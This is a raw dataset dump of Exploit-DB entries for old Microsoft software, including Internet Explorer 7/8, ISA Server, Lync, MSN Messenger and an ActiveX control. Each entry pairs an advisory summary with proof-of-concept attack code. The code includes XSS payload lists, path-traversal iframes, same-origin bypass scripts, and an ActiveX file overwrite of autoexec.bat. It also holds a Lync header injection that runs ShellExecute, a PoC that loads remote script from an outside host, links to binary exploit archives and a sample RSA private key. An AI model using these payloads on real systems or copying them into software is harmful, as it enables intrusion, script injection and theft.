deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31624
Description: Microsoft Internet Explorer 7 - Header Handling 'res://' Information Disclosure
Type: remote
Platform: windows
Date: 2008-04-07
Author: The Hacker Webzine

Exploit:
source: https://www.securityfocus.com/bid/28667/info

Microsoft Internet Explorer is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to obtain potentially sensitive information from the local computer. Information obtained may aid in further attacks.

This issue affects Internet Explorer 7. Reportedly, Internet Explorer 8 is not vulnerable, but this has not been confirmed.

This issue may be related to the vulnerability discussed in BID 28581 (Microsoft Internet Explorer 'ieframe.dll' Script Injection Vulnerability).

<?php header("location: res://ieframe.dll/24/123"); ?> <script> var xml = new XMLHttpRequest(); xml.open("GET","/the_header_file.php"); xml.onreadystatechange=function (){ if (xml.readyState == 4){ alert(xml.responseText) } } xml.send(null); </script>
Exploit-DB #29741
Description: Microsoft Internet Explorer 7 - NavCancel.HTM Cross-Site Scripting
Type: remote
Platform: windows
Date: 2007-03-14
Author: Aviv Raff

Exploit:
source: https://www.securityfocus.com/bid/22966/info

Microsoft Internet Explorer is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to spoof the contents of the Navigation canceled page, steal cookie-based authentication credentials, and obtain other sensitive information. Successful exploits may assist in phishing or other attacks that rely on content spoofing. 

res://ieframe.dll/navcancl.htm#http://www.example.com/[script]
Exploit-DB #2657
Description: Microsoft Internet Explorer 7 - Popup Address Bar Spoofing
Type: remote
Platform: windows
Date: 2006-10-26
Author: anonymous

Exploit:
<!--
Secunia Advisory:   	SA22542  	  
Release Date: 		2006-10-25
Impact: 		Spoofing
Solution Status: 	Unpatched
Software:		Microsoft Internet Explorer 7.x

Description:
A weakness has been discovered in Internet Explorer, which can be exploited by malicious 
people to conduct phishing attacks.

The problem is that it's possible to display a popup with a somewhat spoofed address bar 
where a number of special characters have been appended to the URL. This makes it possible 
to only display a part of the address bar, which may trick users into performing certain 
unintended actions.

Secunia has constructed a demonstration, which is available at:
http://secunia.com/internet_explorer_7_popup_address_bar_spoofing_test/

The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system.

Solution:
Do not follow links from untrusted sources.

Provided and/or discovered by:
Discovered by an anonymous person.
-->

<script language="JavaScript">
function StartTest()
{
 var padding = '';
 for ( i=0 ; i<108 ; i++)
 {
 padding += unescape("%A0");
 }
 newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes");
 newWindow.moveTo( (screen.width-325) , 0 );
 newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + "http://www.microsoft.com/"+padding;
 document.location = "http://www.microsoft.com/windows/ie/default.mspx";
}
StartTest()
</script>

# milw0rm.com [2006-10-26]
Exploit-DB #33050
Description: Microsoft Internet Explorer 7/8 - HTML Attribute JavaScript URI SecURIty Bypass
Type: remote
Platform: windows
Date: 2009-05-22
Author: 80vul

Exploit:
source: https://www.securityfocus.com/bid/35455/info

Microsoft Internet Explorer is prone to a security-bypass vulnerability because it fails to properly enforce restrictions on script behavior.

An attacker may exploit this issue to bypass restrictions on the execution of JavaScript code. This may aid in further attacks. 

<STYLE>@import 'javascript:alert("xss1")';</STYLE> <IMG SRC=javascript:alert('XSS2')> <BODY BACKGROUND="javascript:alert('XSS3')"> <LINK REL="stylesheet" HREF="javascript:alert('XSS4');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS5');"> <IFRAME SRC="javascript:alert('XSS6');"></IFRAME> <DIV STYLE="background-image: url(javascript:alert('XSS7'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS8')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS9')")}</STYLE> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS10')></OBJECT> <STYLE>@import'http://example.com/xss.css';</STYLE> <script SRC="javascript:alert('xss11');"></script> <video SRC="javascript:alert('xss12');"</video> <LAYER SRC="javascript:alert('xss13')"></LAYER> <embed src="javascript:alert('xss14')" type="application/x-shockwave-flash" allowscriptaccess="always" width="0" height="0"></embed> <applet src="javascript:alert('xss15')" type=text/html>
Exploit-DB #31996
Description: Microsoft Internet Explorer 7/8 Beta 1 - Frame Location Cross Domain Security Bypass
Type: remote
Platform: windows
Date: 2008-06-27
Author: Eduardo Vela

Exploit:
source: https://www.securityfocus.com/bid/29986/info

Microsoft Internet Explorer is prone to a cross-domain scripting security-bypass vulnerability because the application fails to properly enforce the same-origin policy.

An attacker can exploit this issue to change the location of a frame from a different domain. This allows the attacker to execute arbitrary code in a frame of the same window as content from a different domain. Successful exploits will allow the attacker to access information from the parent document via DOM components that are not domain-reliant (such as the 'onmousedown' event).

Internet Explorer 6, 7, and 8 Beta 1 are vulnerable; other versions may also be affected. 

javascript:x=open('http://example.com/');setInterval(function(){try{x.frames[0].location={toString:function(){return 
.http://www.example2.com/somescript.html.;}}}catch(e){}},5000);void(1);
Exploit-DB #34478
Description: Microsoft Internet Explorer 8 - 'toStaticHTML()' HTML Sanitization Bypass
Type: remote
Platform: windows
Date: 2010-08-16
Author: Mario Heiderich

Exploit:
source: https://www.securityfocus.com/bid/42467/info

Internet Explorer 8 is prone to a security-bypass weakness.

Internet Explorer 8 includes a method designed to sanitize executable script constructs from HTML. Attackers can bypass this protection, allowing script code to execute on the client, for example in a 'postMessage' call.

Attackers can leverage this issue to obtain sensitive information or potentially launch cross-site scripting attacks on unsuspecting users of targeted sites. Other attacks may also be possible. 

<script type="text/javascript">
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);

ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
</script>

<form name="shit">
<textarea name=&#039;input&#039; cols=40 rows=20>
&lt;/textarea&gt;
<textarea name=&#039;output&#039; cols=40 rows=20>
&lt;/textarea&gt;

<input type=button value="fuck_me" name="fuck" onclick=fuckie();>
</form>


<style>

} () import <%7D () import> url(&#039;//127.0.0.1/1.css&#039;);aaa

{;}

</style>

<div id="x">Fuck Ie</div>
Exploit-DB #32654
Description: Microsoft Internet Explorer 8 - CSS 'expression' Property Cross-Site Scripting Filter Bypass
Type: remote
Platform: windows
Date: 2008-12-11
Author: Rafel Ivgi

Exploit:
source: https://www.securityfocus.com/bid/32780/info

Microsoft Internet Explorer is a web browser for the Microsoft Windows operating system.

Internet Explorer 8 includes a cross-site-scripting filter that is designed to prevent cross-site-scripting attacks against vulnerable web applications. Attackers may be able to bypass this filter under certain conditions, such as by taking advantage of an existing vulnerability in a web application.

Internet Explorer 8 beta 2 is vulnerable. 

} BODY{a:expression(alert(&#039;hi&#039;))};</style>***<style>***
Exploit-DB #33552
Description: Microsoft Internet Explorer 8 - URI Validation Remote Code Execution
Type: remote
Platform: windows
Date: 2010-01-21
Author: Lostmon Lords

Exploit:
source: https://www.securityfocus.com/bid/37884/info

Microsoft Internet Explorer is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer.

NOTE: Reports indicate that the issue can also be exploited via other applications that use the 'ShellExecute()' API. 

############# PoC one #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>

############## PoC Two #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>

############# PoC Three ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>

############# PoC four ##############

<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);

content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>

<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>

</body>
</html>

########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(’GET’,
‘handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms’,
true);
req.send(”);

############### PoC six #############

<html><body><div>

<script>
function getHTTPObject()
{
if (typeof XMLHttpRequest != 'undefined')
{
return new XMLHttpRequest();
}
try {
return new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
return false;
}
x = getHTTPObject();
x.open("GET","shit:shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms",false);
x.send(null);
alert(x.responseText);

</script>

</div></body></html>
Exploit-DB #33264
Description: Microsoft Internet Explorer 8 - X.509 Certificate Common Name Encoding Multiple Security Bypass Vulnerabilities
Type: remote
Platform: windows
Date: 2009-08-05
Author: Dan Kaminsky

Exploit:
source: https://www.securityfocus.com/bid/36577/info

Microsoft Internet Explorer is a browser available for Microsoft Windows.

Internet Explorer is prone to multiple security-bypass vulnerabilities because it fails to properly handle encoded values in X.509 certificates. Specifically, it fails to properly distinguish integer sequences that are then recognized as CN (common name) elements.

Successful exploits allow attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks. 

PKCS#10 Request with Leading Zeroes:
-----BEGIN CERTIFICATE REQUEST-----
MIIBoTCCAQoCAQAwYTETMBEGA1UEChMKQmFkZ3V5IEluYzEXMBUGA1UEAxMOd3d3
LmJhZGd1eS5jb20xGTAXBgNVBAsTEEhhY2tpbmcgRGl2aXNpb24xFjAUBgRVBIAD
Ewx3d3cuYmFuay5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANmLyxoJ
hdDkywSs9J2E70fg5Z2Wou29jKgCDPSFBKTH6syTzWArF84mF4B7a/3aPaaSTwYQ
43siBhDkqYAanZFiLcZS6KVB53/FSsJwzz4+CpDcl7ky5utF/6Yfv86408PpFJvv
5FWLLYBjLkyKE7ru5aMQqqnlZQIHOZc06VIZAgMBAAGgADANBgkqhkiG9w0BAQQF
AAOBgQAt9IeKCGIK6WZRP7tcuAZoQBWbxXpASRozSSRWa5GRpLigTb69tggy7kyH
bVHsbR3uL5j9wObTaU0EzFLXRDW5R/fQy1SBJLo3S7VXKgSJisMP9rBbuUIgLK6f
tlLl4l4l8jJhYPSYkXge1wmyuXVnte53XGy67mBubATzWRk40w==
-----END CERTIFICATE REQUEST-----
PKCS#10 Request with 64 Bit Overflow:
-----BEGIN CERTIFICATE REQUEST-----
MIIBqjCCARMCAQAwajETMBEGA1UEChMKQmFkZ3V5IEluYzEXMBUGA1UEAxMOd3d3
LmJhZGd1eS5jb20xGTAXBgNVBAsTEEhhY2tpbmcgRGl2aXNpb24xHzAdBg1VBIKA
gICAgICAgIADEwx3d3cuYmFuay5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
AoGBANmLyxoJhdDkywSs9J2E70fg5Z2Wou29jKgCDPSFBKTH6syTzWArF84mF4B7
a/3aPaaSTwYQ43siBhDkqYAanZFiLcZS6KVB53/FSsJwzz4+CpDcl7ky5utF/6Yf
v86408PpFJvv5FWLLYBjLkyKE7ru5aMQqqnlZQIHOZc06VIZAgMBAAGgADANBgkq
hkiG9w0BAQQFAAOBgQC5avxpz3cfAqmmi2JDAnYBEwzgZfjIAAldk5X8HAX7mB9/https://ww
w.defcon.org/
77neRquSA5VhUQ8K8tdVQylBoaengqQrNpcWu/mTagm0RNaq3fBT6g9hmaGOHjli
zbuMfUaH5eMAubxxc04uHPcYShjFzTcIASG8jPJqwIM/CHsSBTG5VlJX8iFquA==
-----END CERTIFICATE REQUEST-----
Private Key For Above Requests:
[CREDENTIAL_REDACTED]
MIICXgIBAAKBgQDZi8saCYXQ5MsErPSdhO9H4OWdlqLtvYyoAgz0hQSkx+rMk81g
KxfOJheAe2v92j2mkk8GEON7IgYQ5KmAGp2RYi3GUuilQed/xUrCcM8+PgqQ3Je5
MubrRf+mH7/OuNPD6RSb7+RViy2AYy5MihO67uWjEKqp5WUCBzmXNOlSGQIDAQAB
AoGAGnnQ9hJCnvG5Y5BJFQKgvHa6eztiCN0QyUG2oeuubP+Hq+4xCIs2EnjAU3qx
4es1pZgY1fwoM0wowNWTa2vR0S5Sse0cVFoEzgOUNDE3bGyRRatjjZEFq6Q1oH3Y
MdW9B4bvFsU7wf6MbGmDWFGVMLmBfBlqnSMu324Nfm3xdAECQQDyuHD1XCEtHvcG
+SQnngLVs5d6nMnQsA06nEotBLrIe8QESmanOoSEtIsr25zNyUtr6QZqHaldOYK+
SzWf+KWRAkEA5XLB/En3KtQWd+R/jmd8f8ef4IdbmAg+BChoayJPUbI2tyER97MV
xAUPN1SujN5C4B+cCz79hXk2+W5dnrOACQJBALO815EqVzsFiiJ0zkw0G59KrarT
fjN2m2VCpT8vGG4sEJyox9mgYM+wrrqcl0JghOR1HBXqvydU1je6lAxRYbECQQCE
QIw9riiQgCTfQE6ht1aUlGy7z2llDUMpxFzDe8g6b72H+sDPhGMEVGI740ylF6t2
YeHgvZMFryOXzBycUBx5AkEAibS/zSPs08ix6LIaRYsok692TTqb49Cg+FuhJsx/
eEegf1tZTACaCETRB1+edTW20MDwZukGs0WnZ9axgs/9PA==
-----END RSA PRIVATE KEY-----
Exploit-DB #12156
Description: Microsoft Internet Explorer/Opera - Source Code viewer Null Character Handling
Type: remote
Platform: windows
Date: 2010-04-11
Author: Daniel Correa

Exploit:
# Exploit Title: IE/Opera source code viewer Null Character Handling
Vulnerability
# Date: 10/04/2010
# Author: Daniel Correa
# Software Link:
http://www.microsoft.com/windows/internet-explorer/default.aspx
# Software Link: http://www.opera.com/download/
# Version: Tested on IE 8, Opera 10.51
# Tested on: Windows XP; Windows 7 + default IE 8
# CVE :

# Description :
The vulnerability in the source code viewer in both browsers (IE &
Opera) is when they are processing the null control character (0×00),
including this character in the transmission message results in a
misunderstanding that is reflected in the concealment of the transmitted
message, only the code that is between valid tags is shown. In other
words, exploiting this vulnerability we can completely hide the source
code to the user of Internet Explorer and Opera browsers.

# Code:
The next code hide all the source code to source code viewer.
<?php
echo "\x00";
?>
Esto es un mensaje oculto
This is a hide message
Este es otro
Thie is another one
...
Como vemos podemos esconder cualquier mensaje
As we can see we can hide any message
<html>
<head>
<title>Titulo</title>
</head>
<body>
<h1>Hola mundo</h1>
</body>
</html>

And the next,only hide part of the code (The script part)
<html>
<head>
<title>Titulo</title>
</head>
<body>
<h1>Hello world</h1>
</body>
</html>
<?php
echo chr(0);
?>
<script>alert('This code is never seen');</script>



Package contain three proofs of concept:
http://www.sinfocol.org/archivos/2010/04/ie_opera_null.zip

-- 
Sinfocol
http://www.sinfocol.org

La información contenida en este mensaje es confidencial y puede ser legalmente privilegiada. Está destinado únicamente para el destinatario. El acceso a este correo electrónico por cualquier otra persona no está autorizado. Si usted no es el destinatario, cualquier revelación, copia, distribución o cualquier acción u omitido que se adopten en la confianza en él, está prohibida y puede ser ilegal.

The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful.
Exploit-DB #22919
Description: Microsoft ISA Server 2000 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-07-16
Author: Brett Moore

Exploit:
source: https://www.securityfocus.com/bid/8207/info

ISA server will output certain error pages when requests that are invalid, for whatever reason, are transmitted through it. These error pages will appear in the context of the domain that the request was made for. It has been reported that many of these error pages contain cross-site scripting vulnerabilities that allow for the execution of script code (embedded in the request URI) in the context of client requested domains.

The following proof-of-concept was provided:
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/%U0

The above proof-of-concept will include and execute http://jscript.dk/test.js on YOUR.TLD, this is provided that YOUR.TLD is protected by an ISA Server installation.

*http://<iframe>:test@[site]/test

The exploit provided for BID 4486 will also reportedly work for this vulnerability.

An additional proof-of-concept was supplied by "http-equiv@excite.com" <1@malware.com> that demonstrates a true status and a false destination:
<A href="http://www.example.com%09%09%09@%09%09%09%09%09%09
09www.malware.com">http://www.example.com</A>
Exploit-DB #22027
Description: Microsoft Java Virtual Machine 3802 Series - Bytecode Verifier
Type: remote
Platform: windows
Date: 2002-11-21
Author: Last Stage of Delirium

Exploit:
source: https://www.securityfocus.com/bid/6221/info

The Microsoft Java virtual machine implementation contains a vulnerability that may allow for malicious Java applets to escape the security sandbox.

An applet constructed at the bytecode-level may be able to perform some illegal operations. If these operations are performed, it may be possible to escape the security constraints placed on the applet by the JVM.

Code execution with the privileges of the victim user may be possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22027-1.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22027-2.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22027-3.tar.gz
Exploit-DB #25157
Description: Microsoft Log Sink Class - ActiveX Control Arbitrary File Creation
Type: remote
Platform: windows
Date: 2003-04-29
Author: Shane Hird

Exploit:
source: https://www.securityfocus.com/bid/12646/info

Microsoft Log Sink Class ActiveX control can allow remote attackers to create arbitrary files on an affected computer.

A remote attacker can exploit this issue by crafting a malicious Web site that triggers this vulnerability and enticing a user to visit the site. If successful, the attacker may create arbitrary files on the computer. This may lead to various attacks including arbitrary code execution. 

<object id=ctl
classid="clsid:{DE4735F3-7532-4895-93DC-9A10C4257173}"></object>
<script language="vbscript">
ctl.initsink "C:\autoexec.bat"
ctl.addstring "echo Drive formatted? ", ""
ctl.deinitsink
</script>
Exploit-DB #38227
Description: Microsoft Lync 2010 4.0.7577.0 - User-Agent Header Handling Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2013-01-11
Author: Christopher Emerson

Exploit:
source: https://www.securityfocus.com/bid/57300/info

Microsoft Lync is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to perform unauthorized actions on behalf of the victim. 

GET /JW926520 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap,
application/x-ms-application, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var
commandtoRun =
"C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"
Host: meet.domainname.com
Connection: Keep-Alive
Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=example
Exploit-DB #4334
Description: Microsoft MSN Messenger 7.x/8.0? - Video Remote Heap Overflow
Type: remote
Platform: windows
Date: 2007-08-29
Author: wushi

Exploit:
MSN messenger 7.x (8.0?) VIDEO Remote Heap Overflow Exploit

thanks ole andre again, His ospy is perfect.

1.compile the dll.
2.inject the dll to msn messenger 7.0.777.0 's process.
3. choose "send my webcam" to a contact id who is online using 7.x (8.0?).
4.when the otherside accept the invatation , the otherside's msn will be at least crashed, if you using aChinese version windows 2000 sp4 , maybe a reverse shell , if other verison windows 2000, you need adjust the jmpa address in the dll's sourcecode. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30537.rar (08292007-exp_msn.rar)

# milw0rm.com [2007-08-29]
Exploit-DB #30537
Description: Microsoft MSN Messenger 8.0 - Video Conversation Buffer Overflow
Type: remote
Platform: windows
Date: 2007-08-28
Author: wushi

Exploit:
source: https://www.securityfocus.com/bid/25461/info

Microsoft MSN Messenger is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will likely result in denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30537.rar